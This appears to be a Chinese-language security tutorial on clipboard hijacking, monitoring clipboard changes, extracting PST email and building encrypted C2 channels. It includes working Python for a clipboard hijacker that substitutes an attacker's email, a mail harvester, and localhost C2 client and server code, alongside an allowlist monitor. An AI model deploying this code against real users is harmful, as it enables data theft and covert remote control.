現代應用程式大量仰賴剪貼簿進行資料交換,然而,這也成為惡意程式竊取敏感資訊的攻擊向量。理解剪貼簿運作機制並實作防禦策略至關重要。本文將探討如何利用 Python 監控剪貼簿活動,並結合白名單機制,有效識別非授權的剪貼簿修改行為,進而防範惡意程式攻擊。同時也深入解析命令與控制通道的建立與防禦,包含加密通道與協定隧道的實作細節,提供程式碼範例與實務操作。
剪貼簿監控與惡意程式防禦:技術深度解析
在現代的資安威脅中,剪貼簿(Clipboard)已成為攻擊者竊取敏感資訊的重要管道。本文將深入分析剪貼簿監控的技術原理,並探討如何利用程式碼實作對剪貼簿內容的監控與惡意修改防禦。
Windows 剪貼簿操作原理
Windows 剪貼簿是作業系統提供的一個分享緩衝區,用於應用程式之間的資料交換。Python 的 win32clipboard 模組提供了對剪貼簿的讀寫能力,主要函式包括:
OpenClipboard:開啟剪貼簿並鎖定其內容,直到CloseClipboard被呼叫。GetClipboardData:讀取剪貼簿中的資料,支援多種資料格式。EmptyClipboard:清空剪貼簿內容並將所有權賦予當前視窗。SetClipboardText:將指定文字寫入剪貼簿。CloseClipboard:關閉剪貼簿,允許其他應用程式存取。
程式碼範例:修改剪貼簿內容
import win32clipboard
import re
import time
def modify_clipboard():
while True:
try:
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)
if re.match(r"[^@]+@[^@]+\.[^@]+", data.decode('utf-8')):
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText("attacker@email.com".encode('utf-8'))
win32clipboard.CloseClipboard()
except Exception as e:
print(f"Error: {e}")
time.sleep(1)
modify_clipboard()
內容解密:
win32clipboard.OpenClipboard():開啟剪貼簿,準備讀取或寫入操作。GetClipboardData(win32clipboard.CF_TEXT):取得剪貼簿中的文字資料。re.match(r"[^@]+@[^@]+\.[^@]+", data.decode('utf-8')):使用正規表示式檢查資料是否符合電子郵件地址格式。EmptyClipboard()和SetClipboardText:若符合條件,則清空剪貼簿並寫入攻擊者指定的電子郵件地址。time.sleep(1):每隔一秒檢查一次剪貼簿內容。
防禦措施:監控剪貼簿變更
為了防禦惡意程式對剪貼簿的濫用,我們可以建立一個監控程式,偵測哪些應用程式修改了剪貼簿內容。
程式碼範例:監控剪貼簿變更
import win32gui, win32api, ctypes
from win32clipboard import GetClipboardOwner
from win32process import GetWindowThreadProcessId
from psutil import Process
allowlist = ["chrome.exe", "notepad.exe"]
def processEvent(hwnd, msg, wparam, lparam):
if msg == 0x031D:
try:
win = GetClipboardOwner()
pid = GetWindowThreadProcessId(win)[1]
p = Process(pid)
name = p.name()
if name not in allowlist:
print(f"Clipboard modified by {name}")
except Exception as e:
print(f"Error: {e}")
def createWindow():
wc = win32gui.WNDCLASS()
wc.lpfnWndProc = processEvent
wc.lpszClassName = 'clipboardListener'
wc.hInstance = win32api.GetModuleHandle(None)
class_atom = win32gui.RegisterClass(wc)
return win32gui.CreateWindow(class_atom, 'clipboardListener', 0, 0, 0, 0, 0, 0, 0, wc.hInstance, None)
def setupListener():
hwnd = createWindow()
ctypes.windll.user32.AddClipboardFormatListener(hwnd)
win32gui.PumpMessages()
setupListener()
內容解密:
processEvent函式:處理 Windows 訊息,當接收到WM_CLIPBOARDUPDATE(0x031D) 時觸發檢查。GetClipboardOwner():取得當前剪貼簿的所有者視窗控制程式碼。GetWindowThreadProcessId:根據視窗控制程式碼取得對應的行程 ID。Process(pid).name():透過行程 ID 取得行程名稱,並檢查是否在白名單中。AddClipboardFormatListener:註冊視窗以接收剪貼簿變更通知。
收集情報:監視剪貼簿與電子郵件資料
在進行情報收集時,攻擊者可能會利用剪貼簿與電子郵件資料來取得有價值的資訊。這些資料可能包含敏感資訊,例如帳戶憑證、電子郵件內容等。
監視剪貼簿
剪貼簿是用於暫存資料的區域,當使用者複製或剪下資料時,這些資料會被儲存在剪貼簿中。攻擊者可以透過監視剪貼簿來收集敏感資訊。
監視剪貼簿的實作
import win32clipboard
import win32process
import psutil
def get_clipboard_owner():
win32clipboard.OpenClipboard()
owner = win32clipboard.GetClipboardOwner()
win32clipboard.CloseClipboard()
return owner
def get_process_name(pid):
try:
process = psutil.Process(pid)
return process.name()
except psutil.NoSuchProcess:
return "Unknown"
def main():
previous_clipboard_data = None
while True:
win32clipboard.OpenClipboard()
clipboard_data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
if clipboard_data != previous_clipboard_data:
previous_clipboard_data = clipboard_data
owner = get_clipboard_owner()
_, pid = win32process.GetWindowThreadProcessId(owner)
process_name = get_process_name(pid)
print(f"Clipboard modified by {process_name}")
if __name__ == "__main__":
main()
內容解密:
get_clipboard_owner函式:開啟剪貼簿並取得當前剪貼簿的所有者視窗控制程式碼。get_process_name函式:根據程式 ID 取得程式名稱,利用psutil模組實作。main函式:持續監視剪貼簿內容的變化,當內容發生變化時,取得修改剪貼簿的程式名稱並列印預出來。
收集本地電子郵件資料
許多電子郵件客戶端會將電子郵件資料快取到本地,以便離線存取。攻擊者可以利用這些本地快取來收集敏感資訊。
收集本地電子郵件資料的實作
from libratom.lib.pff import PffArchive
def extract_email_data(pst_file):
archive = PffArchive(pst_file)
for folder in archive.folders():
if folder.get_number_of_sub_messages() != 0:
for message in folder.sub_messages:
print(f"Sender: {message.get_sender_name()}")
print(f"Subject: {message.get_subject()}")
print(f"Message: {message.get_plain_text_body()}")
if __name__ == "__main__":
pst_file = "sample.pst"
extract_email_data(pst_file)
內容解密:
extract_email_data函式:開啟指定的 PST 檔案並遍歷其中的資料夾和郵件。PffArchive類別:利用libratom模組提供的類別來讀取 PST 檔案的內容。- 郵件內容提取:提取每封郵件的發件人、主題和純文字正文,並列印預出來。
防範措施
- 定期檢查系統中的未知電子郵件存檔:確保沒有未知的電子郵件存檔存在於系統中。
- 使用安全的電子郵件客戶端:選擇具有良好安全性的電子郵件客戶端,並定期更新。
- 限制對敏感資料的存取:確保只有授權使用者可以存取敏感資料。
命令與控制(Command and Control)實作
在滲透測試任務中,測試人員的主要目標之一是取得目標系統的立足點。然而,測試人員身處網路外部,需要一種方法與其惡意軟體及其他工具進行通訊。命令與控制(C2)通道提供了透過網路進行的遠端管理功能。MITRE ATT&CK框架的命令與控制策略包含16種建立和隱藏此通道的技術,如圖11.1所示。
圖11.1:MITRE ATT&CK:命令與控制
命令與控制通道的重要性
命令與控制通道是滲透測試中的關鍵要素,它允許測試人員遠端管理植入目標系統的惡意軟體或工具。這種能力使得測試人員能夠在不直接存取目標系統的情況下執行各種操作,例如資料擷取、惡意軟體佈署和進一步的網路探索。
實作命令與控制
要實作有效的命令與控制,需要考慮多種因素,包括通訊協定的選擇、資料加密和隱蔽性。以下是一些實作命令與控制的常見方法和技術:
1. 通訊協定選擇
選擇適當的通訊協定對於建立可靠的命令與控制通道至關重要。常見的協定包括HTTP/HTTPS、DNS和TCP/UDP。選擇協定時,需要考慮目標網路的安全措施和協定的可疑程度。
2. 資料加密
為了保護命令與控制通訊的內容,資料加密是必不可少的。加密可以防止安全裝置檢測到惡意活動,從而提高命令與控制通道的隱蔽性。
3. 隱蔽性技術
為了避免被檢測,命令與控制通道需要採用隱蔽性技術。這包括使用隱蔽通道、修改通訊模式以模仿合法流量,以及利用現有的網路服務(如雲端服務)作為命令與控制伺服器。
程式碼範例:簡單的命令與控制伺服器
以下是一個使用Python實作的簡單命令與控制伺服器範例:
import socket
def start_c2_server(host='127.0.0.1', port=8080):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((host, port))
s.listen()
print(f"C2伺服器監聽 {host}:{port}")
conn, addr = s.accept()
with conn:
print(f"連線來自 {addr}")
while True:
data = conn.recv(1024)
if not data:
break
print(f"接收到:{data.decode()}")
# 處理接收到的資料並回應
response = input("輸入回應:")
conn.sendall(response.encode())
if __name__ == "__main__":
start_c2_server()
內容解密:
- 此程式碼建立了一個簡單的TCP伺服器,監聽指定的主機和埠。
- 當客戶端連線時,伺服器接收來自客戶端的資料,並將其列印出來。
- 伺服器然後等待使用者輸入回應,並將回應傳送給客戶端。
- 此範例展示了基本的命令與控制通訊機制,但實際應用中需要更複雜的安全措施和隱蔽性技術。
練習建議
- 修改上述程式碼範例,以支援多個客戶端連線。
- 新增加密功能,以保護命令與控制通訊的內容。
- 研究並實作一種隱蔽性技術,以提高命令與控制通道的隱蔽性。
- 探索不同的通訊協定,並評估其在命令與控制場景中的適用性。
實作指令控制的加密通道與協定隧道技術
在網路安全領域,攻擊者與防禦者之間的博弈始終存在。攻擊者試圖隱藏其控制指令,而防禦者則努力偵測並消除潛在威脅。本章將探討如何利用加密通道和協定隧道技術來保護指令控制(Command and Control, C2)通訊的安全性,並介紹相關的MITRE ATT&CK技術。
加密通道(Encrypted Channel)
加密是保護敏感資料免受竊聽的最有效方法。使用強大的加密演算法可以使資料對未授權者不可讀取。對於攻擊者而言,加密同樣是一種有價值的工具,可以保護其C2通訊不被輕易偵測和中斷。
C2通訊加密實作
要建立加密的C2通道,需要客戶端和伺服器端協同工作。雙方必須分享以下資訊:
- 伺服器IP和埠
- 加密演算法(本例中使用AES-CBC模式)
- 加密金鑰(16位元組金鑰)
加密通道客戶端(EncryptedChannelClient.py)
import socket, os
from Crypto.Cipher import AES
host = "127.0.0.1"
port = 1337
key = b"Sixteen byte key"
def encrypt(data, key, iv):
# 對資料進行填充以符合AES區塊大小要求
data += " " * (16 - len(data) % 16)
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(bytes(data, "utf-8"))
message = "Hello"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
iv = os.urandom(16) # 產生隨機初始化向量
s.send(iv)
s.send(bytes([len(message)]))
encrypted = encrypt(message, key, iv)
print("Sending %s" % encrypted.hex())
s.sendall(encrypted)
內容解密:
- 程式碼使用Python的socket函式庫建立與伺服器的連線,並使用AES演算法對訊息進行加密。
- 初始化向量(IV)是隨機產生的,並透過socket傳送給伺服器。
- 訊息長度也被傳送,以便伺服器正確解析訊息。
encrypt函式負責對訊息進行填充、加密,並將結果傳送給伺服器。
加密通道伺服器端(EncryptedChannelServer.py)
import socket
from Crypto.Cipher import AES
host = "127.0.0.1"
port = 1337
key = b"Sixteen byte key"
def decrypt(data, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.decrypt(data)
# 伺服器端接收並解密客戶端傳送的資料
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((host, port))
s.listen()
conn, addr = s.accept()
with conn:
iv = conn.recv(16)
message_length = conn.recv(1)[0]
encrypted_data = conn.recv(1024)
decrypted_data = decrypt(encrypted_data, key, iv).decode("utf-8").strip()
print("Received: %s" % decrypted_data)
內容解密:
- 伺服器端程式碼接收來自客戶端的IV、訊息長度和加密資料。
- 使用
decrypt函式對接收到的加密資料進行解密。 - 解密後的資料會被處理(去除填充),並列印出來。
協定隧道技術(Protocol Tunneling)
協定隧道技術涉及將一種協定封裝在另一種協定中,以隱藏原始通訊的特徵。本章提供的程式碼範例展示瞭如何實作協定隧道客戶端和伺服器端,以及如何解碼隧道化協定。
協定隧道客戶端與伺服器端實作
具體實作細節可參考ProtocolTunnelingClient.py和ProtocolTunnelingServer.py。